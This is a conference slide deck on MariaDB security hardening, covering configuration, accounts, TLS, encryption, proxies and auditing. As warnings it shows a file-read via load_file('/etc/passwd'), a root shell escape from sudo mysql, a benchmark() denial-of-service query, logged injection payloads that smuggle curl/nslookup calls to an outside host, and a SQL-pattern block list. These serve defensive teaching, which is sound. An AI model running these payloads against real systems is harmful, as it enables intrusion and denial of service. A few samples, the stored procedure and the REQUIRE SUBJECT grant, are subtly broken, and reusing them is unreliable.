MariaDB Database: A Dive Into Security

Hardening Your Database Infrastructure

Joffrey MICHAIE

OceanDBA

April 7, 2026

SELECT CURRENT_USER()

Name: Joffrey MICHAIE

Current Role: Founder and CTO

Past Experiences:

- Admin / Team Lead Linux at Linkbynet (Now Accenture)
- Consultant at MySQL / Sun Microsystems (Now Oracle)
- Principal Database Consultant at MariaDB

Focus Areas:

- MariaDB/MySQL Administration and Support
- Database Security and High Availability
- Performance Tuning for high trafic platforms

OceanDBA

Presentation Outline

MySQL: Before MariaDB

The Origins (1994)

MySQL was created by Michael ”Monty” Widenius and David Axmark at MySQL AB in Sweden. The name ”My” comes from his first daughter’s name: My Widenius.

Key Milestones:

- 1995: MySQL 3.0 released
- 2001: MySQL AB founded
- 2003: MySQL 4.0 (InnoDB support)
- 2004: MySQL 4.1 (subqueries, R-trees)

The Sun Acquisition (2008)

- Sun Microsystems acquired MySQL AB for $1 billion
- Oracle then acquired Sun (2009-2010)
- Michael ”Monty” Widenius left Sun
- He created MariaDB as a community fork

Fun Fact:
Mårten Mickos (CEO of HackerOne 2010-2024) was the CEO of MySQL until 2008.

MariaDB: A Brief History

The Fork (2009)

Michael “Monty” Widenius left Sun Microsystems after Oracle’s acquisition of MySQL. He created MariaDB as a community-driven fork. Maria is the name of his second daughter.

Key Milestones:

- 2009: MariaDB 5.1 released
- 2012: Became default in Debian/Ubuntu
- 2013: MariaDB Foundation established
- 2024: MariaDB Server 11.8 (Vector columns and functions)

Today:

- Top 10 most-used databases worldwide
- Used by Wikipedia, Google, Red Hat
- Fully open-source with enterprise options
- Active community development

OceanDBA

Why MariaDB Security Matters

- MariaDB powers millions of production databases worldwide
- High-profile targets: Wikipedia, booking systems, SaaS platforms, Factories...
- Regulatory compliance requirements (GDPR, HIPAA, PCI-DSS)
- Default configurations are designed for ease of use, not security

Our Goal Today

Transform a default MariaDB installation into a hardened, production-ready database server.

OceanDBA

Essential Security Parameters

Reminder

Default configurations are designed for ease of use, not security

Important!! Do not run the database as root / Administrator (even inside Docker)

Parameter	Purpose
`secure_file_priv`	Restrict file import/export location
`skip_name_resolve`	Prevent DNS spoofing
`local_infile`	Disable unless required
`read_only`	Prevent accidental writes on replicas
`super_read_only`	Prevent accidental writes by admin users

OceanDBA

Essential Security Parameters: secure_file_priv

Check Parameter Value

```
MariaDB [(none)]> select @@secure_file_priv;
+--------------------------+
| @@secure_file_priv       |
+--------------------------+
| NULL                     |
+--------------------------+
1 row in set (0.001 sec)
```

LOAD_FILE(), LOAD DATA INFILE and SELECT INTO OUTFILE allowed anywhere

```
MariaDB [(none)]> select load_file('/etc/passwd')\G
*************************** 1. row ***************************
load_file('/etc/passwd'): root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...etc...]
```

OceanDBA

Essential Security Parameters: secure_file_priv

Solution

```
# install -o mysql -g mysql -d -m 0750 /var/lib/mariadb-files
# vim /etc/mysql/conf.d/99-secure.cnf
[...]
[mariadbd]
secure_file_priv = '/var/lib/mariadb-files'
# systemctl restart mariadb

MariaDB [(none)]> select @@secure_file_priv;
+--------------------------+
| @@secure_file_priv       |
+--------------------------+
| /var/lib/mariadb-files/ |
+--------------------------+
1 row in set (0.001 sec)

MariaDB [(none)]> select load_file('/etc/passwd');
+---------------------------+
| load_file('/etc/passwd') |
+---------------------------+
| NULL                      |
+---------------------------+
1 row in set (0.000 sec)
```

OceanDBA

Essential Security Parameters: skip_name_resolve

MySQL & MariaDB auth is based on User, Password AND Remote Host

Same username and password can have different privileges depending on Remote IP or Host.

```
MariaDB [(none)]> GRANT SELECT ON mydb.* TO app_user@'%' IDENTIFIED BY [...]'
MariaDB [(none)]> GRANT ALL ON ON mydb.* TO app_user@'10.200.0.%' IDENTIFIED BY [...]'
MariaDB [(none)]> GRANT DROP,CREATE ON mydb.* TO app_user@'%.oceandba.com' IDENTIFIED BY [...]'
```

If you use domain names, MariaDB must resolve the IP for each new connection!

- Malicious user owning IP range can create custom PTR records and bypass host filter
- Authentication process is slowed-down
- Database is down when DNS server is down. Hard to justify to CTO.

Solution

skip_name_resolve = 1

Important: Disabling DNS resolution may lock you out if your users have non-IP Host entries!

Essential Security Parameters: local_infile

MySQL and MariaDB supports bulk file loading into database

```
LOAD DATA INFILE -- loads from within the Database Server
LOAD DATA LOCAL INFILE --  loads file from the Database Client
```

For security reasons, you may not want to allow loading a file coming from anywhere into the database.

Solution

```
local_infile = 0
```

OceanDBA

Regular Patching

Why It Matters:

- MariaDB releases security patches regularly
- Known CVEs are actively exploited
- Compliance requirements mandate updates

Best Practice:

- Subscribe to MariaDB security announcements
- Test patches in staging first
- Schedule maintenance windows
- Have rollback procedures ready

OceanDBA

MariaDB Pluggable Architecture: Introduction

MariaDB supports Dynamic loading of plugins, no restart needed:

- User Defined Functions
- Storage Engines
- Authentication Plugins
- Custom Modules

But also ...

- Crypto Miner
- Remote Shell
- Data Exporter
- ...

OceanDBA

MariaDB Pluggable Architecture Plugin Directory

Check Current Location

```
MariaDB [(none)]> select @@plugin_dir;
+-------------------------+
| @@plugin_dir            |
+-------------------------+
| /usr/lib/mysql/plugin/ |
+-------------------------+
1 row in set (0.001 sec)
```

Available Plugins in Default Installation:

```
$ ls /usr/lib/mysql/plugin/
auth_ed25519.so           dialog.so                handlersocket.so          sha256_password.so
auth_mysql_sha2.so        disks.so                 locales.so                simple_password_check.so
auth_pam.so               file_key_management.so   metadata_lock_info.so     sql_errlog.so
auth_pam_tool_dir         ha_archive.so            mysql_clear_password.so   type_mysql_json.so
auth_pam_v1.so            ha_blackhole.so          password_reuse_check.so   wsrep_info.so
auth_parsec.so            ha_federated.so          query_cache_info.so
caching_sha2_password.so  ha_federatedx.so         query_response_time.so
client_ed25519.so         ha_sphinx.so             server_audit.so
```

MariaDB Pluggable Architecture: Plugin Information

What is inside each .so file ?

```
MariaDB [(none)]> SHOW PLUGINS SONAME WHERE LIBRARY IS NOT NULL;
+--------------------------------+---------------+---------------------+--------------------------+---------+
| Name                           | Status        | Type                | Library                  | License |
+--------------------------------+---------------+---------------------+--------------------------+---------+
| pam                            | NOT INSTALLED | AUTHENTICATION      | auth_pam.so              | GPL     |
| QUERY_RESPONSE_TIME_AUDIT      | NOT INSTALLED | AUDIT               | query_response_time.so   | GPL     |
| DISKS                          | NOT INSTALLED | INFORMATION SCHEMA  | disks.so                 | GPL     |
[...]
28 rows in set (0.022 sec)
```

Look for auto-load plugins:

```
MariaDB [(none)]> select * FROM mysql.plugin;
+-----------+-----------------+
| name      | dl              |
+-----------+-----------------+
| BLACKHOLE | ha_blackhole.so |
| ed25519   | auth_ed25519.so |
+-----------+-----------------+
```

OceanDBA

MariaDB Pluggable Architecture: Secure Plugin Loading

Prevent plugin loading

- Remove insert + delete privileges on mysql.plugin table
- Disallows INSTALL / UNINSTALL PLUGIN commands

Remove unnecessary plugins

Protects against weak / vulnerable plugin

Make directory Immutable (chattr +i)

Protects plugin directory from modifications even by root

Benefits:

- Prevents unauthorized plugin injection
- Protects against malicious SO files
- Defense against privilege escalation

OceanDBA

Securing System Client Access (sudo mysql)

You may want a system user to connect, without knowing the password. Sudo can help!

The Risk

Users with sudo access to mysql/mariadb client can execute system commands!

Attack Example

```
$ sudo mysql -u root
Welcome to the MariaDB monitor...
MariaDB [(none)]> \!/bin/bash
root@server:/#
```

Mitigation Strategies:

- Use `auth_socket` authentication - requires OS user matching
- Restrict sudo access: allow sudo to a non-root user (user may still be able to cat the credentials file)
- Use `sudo_plugin` for command logging
- Implement sudoers time limits and command restrictions

OceanDBA

Eliminate Unused Accounts

- Default/anonymous accounts are common attack vectors
- Attackers exploit `''@localhost` for brute-force attacks and/or Denial of Service
- Regular auditing prevents leaving weak privileges

Audit Command

```
MariaDB [(none)]> select user,host from mysql.user;
+-------------+--------------+
| User        | Host         |
+-------------+--------------+
|             | 3ce3858920d9 |
|             | localhost    |
+-------------+--------------+
2 rows in set (0.016 sec)
```

Example of DDoS command (no privileges required)

```
MariaDB [(none)]> select benchmark(9999999999,sha2(repeat(
rand(),100),512));
+-----------------------------------------------------+
| benchmark(9999999999,sha2(repeat(rand(),100),512)) |
+-----------------------------------------------------+
|                                                   0 |
+-----------------------------------------------------+
1 row in set (19082303.777 sec)
```

Solution: Remove Unused Users

```
DROP USER ''@'3ce3858920d9';
DROP USER ''@'localhost';
```

Socket Authentication for Local Accounts

Problem: Password storage and credential theft risks

Solution: Unix socket authentication

Configuration

```
ALTER USER 'root'@'localhost' IDENTIFIED WITH auth_socket;
```

Benefits:

- No password storage in MariaDB
- Authentication tied to OS user
- Eliminates password brute-force attacks on local accounts

OceanDBA

PAM Authentication (LDAP Integration)

What is PAM?

- Pluggable Authentication Modules
- Centralized identity management
- LDAP/Active Directory integration

Benefits

- Single source of truth
- Easier user lifecycle management
- Compliance requirements

Enable PAM Plugin

```
INSTALL PLUGIN pam SONAME 'auth_pam.so';
```

OceanDBA

Two-Factor Authentication

Available Methods

- PAM-based 2FA (LDAP, Google Authenticator)
- Third-party plugins (dialog)

Implementation:

```
INSTALL PLUGIN auth_dialog SONAME 'auth_dialog.so';
```

OceanDBA

Principle of Least Privilege

MySQL and MariaDB provide Multi-Layer Privilege System

- Instance wide
- Database/Schema wide
- Table wide
- Column

Grant Only What's Needed and Check Current Privileges

```
GRANT SELECT (id,name) ON db.table TO 'user'@'host';
SHOW GRANTS FOR user@host;
```

Audit Regularly

- Quarterly privilege reviews
- Remove unused accounts
- Monitor for privilege escalation

OceanDBA

Using Statistics Plugin

Builtin Plugin in MariaDB

```
SET GLOBAL userstat = 1; -- to be persisted in conf
SELECT * FROM INFORMATION_SCHEMA.USER_STATISTICS;
SELECT * FROM INFORMATION_SCHEMA.CLIENT_STATISTICS;
SELECT * FROM INFORMATION_SCHEMA.TABLE_STATISTICS;
SELECT * FROM INFORMATION_SCHEMA.INDEX_STATISTICS;
```

Benefits: Statistics for very low computing cost (¡ 0.5%)

Example of statistic for ”root” user

```
MariaDB [(none)]> SELECT * FROM INFORMATION_SCHEMA.USER_STATISTICS;
*************************** 1. row ***************************
                       USER: root
          TOTAL_CONNECTIONS: 2
     CONCURRENT_CONNECTIONS: 1
            CONNECTED_TIME: 3
                 BUSY_TIME: 0.004732
                  CPU_TIME: 0.013409
            BYTES_RECEIVED: 54
                BYTES_SENT: 277
      BINLOG_BYTES_WRITTEN: 0
                 ROWS_READ: 0
[...]
```

Using Roles (MariaDB 10.5+)

Create and Assign Roles

```
CREATE ROLE 'read_only';
GRANT SELECT ON *.* TO 'read_only';
GRANT 'read_only' TO 'app_user'@'localhost';
```

Benefits:

- Simplified privilege management
- Easier compliance auditing
- Group-based access control
- User can switch roles within the same connection

OceanDBA

Views and Stored Procedures

Create Restricted View

```
CREATE VIEW safe_users AS SELECT id, name FROM users;
```

Create Controlled Procedure

```
CREATE PROCEDURE update_user(IN id INT, IN name VARCHAR(255))
BEGIN UPDATE users SET name=name WHERE id=id; END
```

Revoke Direct Table Access

```
REVOKE ALL ON users FROM 'app_user'@'%';
```

Use view and/or stored procedure

```
SELECT * FROM safe_users
CALL update_user(1,'joffrey');
```

OceanDBA

Avoid Default Ports

Change from port 3306 to a non-standard port

Configuration (my.cnf)

```
port=3307
```

Remember:

- Update firewall rules for new port
- Update application connection strings
- Security through obscurity alone is insufficient

OceanDBA

Firewall Protection

iptables Example

```
iptables -A INPUT -p tcp --dport 3307 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3307 -j DROP
```

Best Practices:

- Whitelist trusted IP ranges only
- Consider geo-IP blocking for known threat regions
- Use fail2ban for automated blocking
- Isolate database servers in private VLANs
- Bastion/jump hosts for administration
- Internal networks only for DB-to-DB communication

Defense in Depth

Multiple layers of security: Firewall → Network Segmentation → Encryption → Access Control

Proxy Protocol for Load Balancers

If you use a Load-Balancer (Haproxy, ProxySQL, MaxScale, F5...) in front of the database, MariaDB supports Proxy Protocol.

Configuration

```
proxy_protocol_networks=192.168.1.0/24
```

Use Cases:

- Preserve original client IP through load balancers
- Accurate logging for security audits
- Proper IP-based access control

OceanDBA

1. Server Security
   - Secure Configuration Parameters
   - Regular Patching
   - Plugin Architecture Security
2. User Security
   - Account Management
   - Authentication Methods
   - Privilege Management
3. Network Security
   - Port Configuration
   - Firewall Protection
4. Data Security
   - SSL/TLS Configuration
   - Database Encryption
   - Backup and Recovery
   - High Availability
5. Database Firewall
   - Database Proxies
   - Database Proxy: Query Whitelisting
   - Pattern Blocking
6. Application Security
   - SQL Injection Protection
   - XSS Protection
7. Auditing & Compliance
   - Audit Logging
   - Monitoring
   - Compliance
8. Summary

Implementing SSL/TLS

The problem

Network communications are cleartext by default

```
# tcpdump -i any -v -n -A -s 0 port 3306
[...]
E.... @.@.................a........X......
.*.a.)..t....INSERT INTO sales (user, event, price, credit_card) values
('John Smith','mu.scl conference','4868 7191 9682 9038')
```

OceanDBA

Implementing SSL/TLS

Solution: Enable SSL

Step 1: Generate Certificates

```
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout server.key -out server.crt
```

Step 2: Configure MariaDB (my.cnf)

```
ssl-ca = /path/to/ca.crt
ssl-cert = /path/to/server.crt
ssl-key = /path/to/server.key
```

Step 3: Verify

```
SHOW STATUS LIKE 'Ssl_cipher';
```

Certificate Authority Enforcement

Level 1: Force SSL

```
GRANT SELECT ON db.* TO 'user'@'%' REQUIRE SSL;
```

Level 2: Require Valid Certificate

```
GRANT SELECT ON db.* TO 'user'@'%' REQUIRE X509;
```

Level 3: Require Valid issuer,subject and/or cipher

```
GRANT USAGE ON *.* TO 'maxime'@'REQUIRE SUBJECT '/CN=maxime/O=Flying Dodo, Inc./C=MU/ST=PW/L=Bagatelle' AND ISSUER
'/C=MU/ST=PW/L=Bagatelle/ O=Flying Dodo/CN=BeerMaster /emailAddress=beermaster@flyingdodo.mu' AND CIPHER
'SHA-DES-CBC3-EDH-RSA';
```

What this achieves:

- Only clients with CA-signed certificates can connect
- Prevents man-in-the-middle attacks
- Strong mutual authentication

OceanDBA

Encryption at Rest

FileSystem Encryption

- Luks / Btrfs / ZFS
- Files are cleartext when mounted

Tablespace Encryption

- File key management plugin
- InnoDB encryption
- Binary log encryption
- Some files (logs) remain cleartext
- Do not store key on server!

```
innodb_encrypt_tables=ON
```

Backup Encryption

- mariabackup with encryption
- External encryption tools

```
mariabackup --encrypt
```

Important

Encryption provides file-level security and prevents physical access to the database.
A database user can still view (and download) all data clearly when connected logically.

Column-Level Encryption (GDPR)

Level 1: Use builtin AES_ENCRYPT/DECRYPT for sensitive data

Insert Encrypted Data

```
INSERT INTO users (ssn) VALUES (AES_ENCRYPT('123-45-6789', 'key'));
```

Level 2: Encrypt/Decrypt at the application level

Key Management Best Practices:

- Never store encryption keys in the database
- Using encryption at the database layer may leak in error/slow/general logs
- Use external key management (HashiCorp Vault, AWS KMS)
- Rotate keys regularly
- Separate key access from data access

Secure Backup Practices

SSH Remotely for Backups

```
ssh user@server "mydumper ..." > backup.sql
```

Encrypted Backups

```
mariabackup --encrypt --encryption-key-file=keyfile mariabackup |
pgp --encrypt ...
```

Do not leave access to the remote backups on the database server itself

OceanDBA

Backup Tools Comparison

Wide range of Solutions Available

Solution	Type	Encryption	Extra Information
mysqldump	Logical	External tools	Very slow
mydumper	Logical	With compression	Very fast
mariabackup	Physical	Built-in	Fastest
mariadb-binlog	Archive Logs	External tools	Allows for point in time recovery
snapshots	Physical	Maybe built-in	Very fast

Best Practices

- Run Backups Regularly
- Keep local backups available for quick restore
- Restore frequently and/or or automate restore process. Benchmark restore time!
- Keep some backups isolated (ex: External disk / Tape)

Replication for Redundancy

Replication Types

- Asynchronous replication
- Semi-synchronous replication

Monitor Replication:

```
SHOW REPLICA STATUS\G
```

Key Metrics:

- Replication lag
- Slave I/O and SQL running status
- Last error

OceanDBA

Delayed Replication

Configuration

```
CHANGE REPLICA TO REPLICA_DELAY=3600;
```

Use Cases:

- Recover from accidental `DROP TABLE` by Junior DBA (or Client)
- Protect against human errors
- Allow for forensics
- Data recovery within the delay window (may be faster than restoring 2TB of data)

OceanDBA

Using Database Proxies

ProxySQL and MariaDB Maxscale are Layer 7 database proxies

- Database Proxies See all SQL trafic
- First layer of Authentication
- Query routing
- Connection limiting
- Sensitive data masking
- Query blocking

Example Rules:

```
INSERT INTO proxy_rules
(rule_id, match_pattern, OK_Msg)
VALUES (1, 'SELECT * FROM finance_data',"Query OK");
```

Query Whitelisting

Concept

Only allow pre-approved queries to execute

Benefits:

- Prevents SQL injection attacks
- Controls data access patterns
- Audit trail of allowed operations

Example: Allowed Patterns

```
SELECT * FROM products WHERE id = ?
INSERT INTO orders (user_id, total) VALUES (?, ?)
```

OceanDBA

Pattern Blocking

Dangerous Patterns to Block

- `UNION SELECT` - Common SQL injection technique
- `LOAD_FILE()` - File system access
- `INTO OUTFILE` - File write operations
- `SLEEP()` - Time-based blind injection / Denial of Service

Configuration Example

```
Block pattern:  *UNION*SELECT*
Block pattern:  *LOAD_FILE(*
Block pattern:  *INTO*OUTFILE*
```

OceanDBA

SQL Injection Protection

Database Firewall

- Whitelist allowed queries
- Block suspicious patterns (use of ”libinjection”)
- False positive are frequent, fine tuning is needed

Best Practices

- Enforce class to talk to database
- Always validate Input
- Use prepared statements
- Least privilege for app users
- Log every error
- Log warnings

OceanDBA

XSS and Blind XSS Protection

The Problem

Bind parameters prevent SQL injection, but not XSS!

Blind XSS Attack Vector:

1. Attacker stores XSS payload in comment/email field
2. Admin views data in back-office
3. JavaScript executes, exfiltrating cookies/session

XSS and Blind XSS Protection

Once upon a time, inside a database ...

```
mysql -e "select email, date(purchase) from control_mails where email like '%bxss.me%'"
+-----------------------------------------------------------------------------------+-----------------+
| email                                                                             | date(purchase) |
+-----------------------------------------------------------------------------------+-----------------+
| |(nslookup -q=cname hitanxadpvas******.bxss.me||curl hitanxadpvas******.bxss.me) | 2026-04-03      |
| |(nslookup -q=cname hitcjdwynbjk******.bxss.me||curl hitcjdwynbjk******.bxss.me) | 2026-04-03      |
[...]
```

The Solution

Solution:

- Also Sanitize output, not just inputs
- HTTPOnly and Secure cookie flags
- Content Security Policy (CSP)

OceanDBA

Audit Plugin Configuration

Install and Enable

```
INSTALL PLUGIN server_audit SONAME 'server_audit.so';
SET GLOBAL server_audit_logging=ON;
```

Exclude Sensitive Users

```
SET GLOBAL server_audit_excl_users='root';
```

What Gets Logged:

- All connections/disconnections
- All queries executed
- Access denied events

OceanDBA

Detecting Suspicious Activity

Error Log Monitoring

- Failed authentication attempts
- Network timeouts
- Server errors

SQL Error Plugin

- Syntax errors
- Out of bound columns
- SQL injection attempts

Example of spotted sql error:

```
ERROR 1064: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right
syntax to use near:
'') OR 663=(SELECT 663 FROM PG_SLEEP(15))--
```

OceanDBA

Prometheus + Grafana Monitoring

Metrics to Track

- Failed connection attempts
- Query response times
- Lock wait times
- Temporary table creation

Alert on:

- Unusual query patterns
- Authentication failures
- Resource exhaustion

OceanDBA

Security Compliance Mapping

Compliance	MariaDB Measures
GDPR	Encryption, access control, audit logging
HIPAA	Data encryption, access logging, backup
PCI-DSS	Network segmentation, encryption, patching

Key Requirements

- Data encryption at rest and in transit
- Access logging and monitoring
- Regular security assessments
- Incident response procedures

OceanDBA

Key Takeaways

1. **Server Security:** Secure parameters, plugin directory, immutable filesystems
2. **User Security:** Socket/PAM auth, least privilege, 2FA
3. **Network Security:** Firewalls, non-standard ports, network segmentation
4. **Data Security:** SSL/TLS, encryption at rest, secure backups
5. **Application Security:** Prepared statements, input validation, XSS protection
6. **Database Firewall:** Query whitelisting, pattern blocking
7. **Auditing:** Audit plugin, monitoring, compliance mapping

OceanDBA

Security Checklist

Quick Wins

- ☐ Remove anonymous accounts
- ☐ Enable SSL/TLS
- ☐ Set `secure-file-priv`
- ☐ Disable `local_infile`
- ☐ Enable audit logging
- ☐ Change default port
- ☐ Configure firewall
- ☐ Set up (encrypted) backups

OceanDBA

Questions & Discussion

Thank you!

Questions?

Resources

- MariaDB Documentation: `https://mariadb.com/docs`
- Securing MariaDB: `https://mariadb.com/docs/server/security/securing-mariadb`